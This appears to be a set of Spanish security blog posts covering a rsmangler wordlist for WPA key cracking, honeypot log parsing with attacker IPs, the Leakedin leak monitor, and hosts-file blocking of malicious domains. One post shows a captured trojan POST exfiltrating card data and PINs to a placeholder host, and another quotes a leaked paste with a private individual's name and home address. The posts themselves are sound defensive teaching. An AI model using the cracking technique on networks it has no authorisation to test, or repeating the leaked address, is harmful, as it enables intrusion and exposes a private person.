Recursos en una auditoría Wireless II
Cuando realizamos las pruebas para obtener las clave de las redes wireless, las de WPA claro. Porque las claves WEP es cuestión de obtener paquetes y listo. Es muy bueno que tengamos ingenio a la hora de crear los diccionarios que usaremos en las pruebas de obtención de la clave.
Imaginemos pues, que nos estamos enfrentando a la red Wireless que están usando en el congreso No cON Name.
Es comun que usen como password nombres propios de la organización o evento, pensemos que han usado un password que se parezca a No cON Name, así que, en vez de crear la lista de palabras a mano usaremos un generador de palabras, de manera que podamos abarcar todas las opciones posibles.
Para ello, vuelvo a traer rsmangler que nos ayudará en ello.
Así que generamos un fichero con la lista de palabras, en mi caso noconname
Y usamos rsmangler para que nos ayude a generar el diccionario deseado.
Así que usamos
rsmangler.rb –file palabras.txt >> dic.txt
Y el resultado que obtenemos, que lo he recortado para que sea mas fácil de mirar es:
oconnamenoconname
emannocon
Noconname
NOCONNAME
noconnameed
noconnameing
n0c0nn4m3
noconname!
noconname@
noconname
noconname�
noconname$
noconname%
noconname^
noconname&
noconname*
noconname(
noconname)
01noconname
noconname01
02noconname
noconname02
03noconname
noconname03
Hay un total de 283 palabras para probar 
Post cortito para un día liado.
Análisis de ataques automatizados recibidos
Cada vez que me paro a mirar el log del Honeypot SSH que dejé montado en casa las 24 horas, me sorprendo de la cantidad de ataques que llegan, de los usuarios que se usan, en fin, es sorprendente ver como funciona. Así que vamos a mirar logs y hacer un parseo rápido.
Kippo que es el honeypot que estoy usando va guardando un log por día, ahora mismo tengo unos 6 archivos de log distintos así que ahora lo que voy ha hacer es contar la cantidad de logones fallidos del total de logs.
cat kippo.log | awk ‘/failed/ { print $5 }’ | grep -v on | wc -l
En una semana el resultado a sido de 4782 accesos de logon fallidos. ¿Increible no?
Ahora vamos al apartado de las Ip’s porque al intentar el acceso de logon, la IP queda registrada.
Para extraer la IP:
cat kippo.log.6 | awk ‘/HoneyPotTransport/ { print $3 }’ | cut -d “,” -f3 | grep -v SSH | cut -d “]” -f1 | sort -u
Han habido 7 IP’s implicadas en el ataque, de estas Ip, los ataques vienen de EStados unidos, de China, de Mongolia, y.. de ESPAÑA!
La lista de IP’s era:
116.114.20.148
173.255.246.112
199.127.103.157
203.34.37.16
211.154.224.238
37.157.249.167
80.103.180.135
Ahora pasamos a la parte de usuarios y password, empezamos
cat kippo.log.6 | awk ‘/attempt/ { print $9 }’ | cut -d “[" -f2 | cut -d "]” -f1
La cantidad de combinaciones que se han usado es 4502
De estas combinaciones, la cantidad de usuarios únicos ha sido de 3744
Para la parte de contraseñas se han usado 4034
En la parte de RDP, que también dejé capturando que llegaba, también han habido resultados
Las ip’s registradas son:
112.64.207.90
12.198.222.17
125.211.197.142
184.105.139.216
204.140.27.133
211.191.168.25
229.143.195.200
2.50.27.150
82.144.67.181
Son Ip’s procedentes de Rusia, China, Emiratos Árabes etc..
Dentro de poco tengo pensado montar otro tipo de Honeypot, de parte web por ejemplo. Será una buena fuente de información 
Leakedin – Cuidado con la información que te dejas por ahí …
En cuanto expones un dato personal en Internet estás perdido.
Hay que tener mucho cuidado con lo que se va dejando por ahí, un log en Pastebin, Metadatos en los documentos, son cosas que cada vez hay que concienciarse de que no se deben tomar a la ligera.
Ya existen herramientas que monitorizan Pastebin, de manera que cuando aparece un dato de interés a los que estan detrás de esa informaciónes les es, muy fácil el poder enterarse.
Otro tipo de servicios es el que traigo se trata leakedin, Este servicio se encarga de dar a conocer en que sitios (Pastebin), se ha colgado información que podria ser, mas bien información personal. Un archivo subido a Dropbox, una clave RSA etc..
Podemos encontrara cosas como:
Detected 1 occurrence(s) of ‘http[s]*:\/\/dl\.dropbox\.com\/’:
<img src="http://dl.dropbox.com/u/149660/389075560.jpg"> Send a SELF-ADDRESSED STAMPED ENVELOPE (this means it has your address already written on it and an unused stamp in the upper-right corner!) to: Ben Combee<br> 5607 Joe Sayers Ave<br> Austin, TX 78756<br> If you include somethin
Sin duda interesante.
La web del proyecto la podéis encontrar aquí.
Tened cuidado lo que vais dejando por ahí.
Protección a nivel local, archivo hosts
Proporcionar protección a nivel local tendría que ser una de las principales medidas que se deberían de implementar en los equipos.
Una de las cosas bastante eficaces que se pueden es que a ciertos dominios/IP no nos podamos conectar, así nos protegeremos. ¿Como se consigue esto? Pues haciendo que dichas peticiones a ciertos sitios siempre vayan 127.0.0.1 es decir, a localhost.
¿Esto de que nos libra?
Pues nos libra de que si navegamos por ejemplo por páginas webs legítimas, que contienen por ejemplo un iframe a un “conocido” host que contiene malware la conexión no se realizará.
Otro caso es por ejemplo el de troyanos que se dedican por ejemplo a pedirte los datos bancarios “por seguridad”. Obviamente estos troyanos lo que buscan es engañar al usuario para que introduzca sus datos bancarios y poder enviarlos a un host destino.
Si miramos ese tipo de trazas con Wireshark, veríamos algo del tipo
POST /images/check.asp HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 962
Host: DOMINIO_MALICIOSO
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)1=45678976&2=1234&3=1234&4=47897654&5=4567&6=5467&7=5879654774587741&8=06%2F14&9=887&10=7188&11=145%2D4564&12=146%2D5646&13=147%2D5456&14=148%2D4564&15=149%2D5645&16=150%2D6156&17=151%2D1894&18=152%2D8918&19=153%2D9189&20=154%2D1891&21=155%2D8984&22=156%2D5445&23=157%2D6156&24=158%2D1561&25=159%2D5615&26=160%2D6118&27=161%2D9948&28=162%2D9489&29=163%2D1891&30=164%2D8918&31=165%2D1891&32=166%2D8189&33=167%2D1891&34=168%2D8918&35=169%2D9189&36=170%2D1891&37=171%2D8918&38=172%2D1891&39=173%2D1998&40=174%2D1891&41=175%2D8918&42=176%2D9115&43=177%2D1561&44=178%2D1156&45=179%2D1565&46=180%2D1561&47=181%2D5619&48=182%2D1984&49=183%2D8948&50=184%2D9189&51=185%2D1891&52=186%2D9919&53=187%2D8189&54=188%2D1891&55=189%2D8918&56=190%2D9189&57=191%2D1189&58=192%2D1891&59=193%2D8918&60=194%2D9189&61=195%2D8918&62=196%2D9891&63=197%2D8918&64=198%2D9189&65=199%2D1981&66=200%2D8918&67=201%2D9189&68=202%2D1981&69=203%2D8918&70=204%2D9811&71=manodacaixa%40gmail%2Ecom&HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 22 May 2012 12:40:57 GMT
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Content-Length: 0
Content-Type: text/html
Set-Cookie: ASPSESSIONIDASSSCADB=BIJLMGIBAJPPPDFIDBPMKBJH; path=/
Cache-control: private
Todo el “churro” que se envía son los datos que el usuario ha rellenado sobre su tarjeta, su PIN etc…
Si el HOST destino, ya se conoce como malicioso los datos nunca se enviarían, es decir, nos ofrece protección en la navegación y en el envío de datos a URL/Ip maliciosas.
Otro tipo de troyanos, lo que hacen es, una vez que han infectado la máquina se descargan mas binarios de su servidor que les hace de panel de control (C&C).
Se podría mitigar también redirigiendo las peticiones a localhost.
Y es por eso, por lo que proyectos como hphosts nos ayudan en esta tarea.
Descargamos el archivo de aquí
¿Que tenemos en este archivo?
C:\Users\seifreed\Downloads\hphosts>wc -l HOSTS.txt
183792 HOSTS.txt
Tenemos 183792 entradas repartidas entre IP’S y URL que son de carácter malicioso, de manera que si intentan conectarse fallarán.
Y eso es todo por hoy
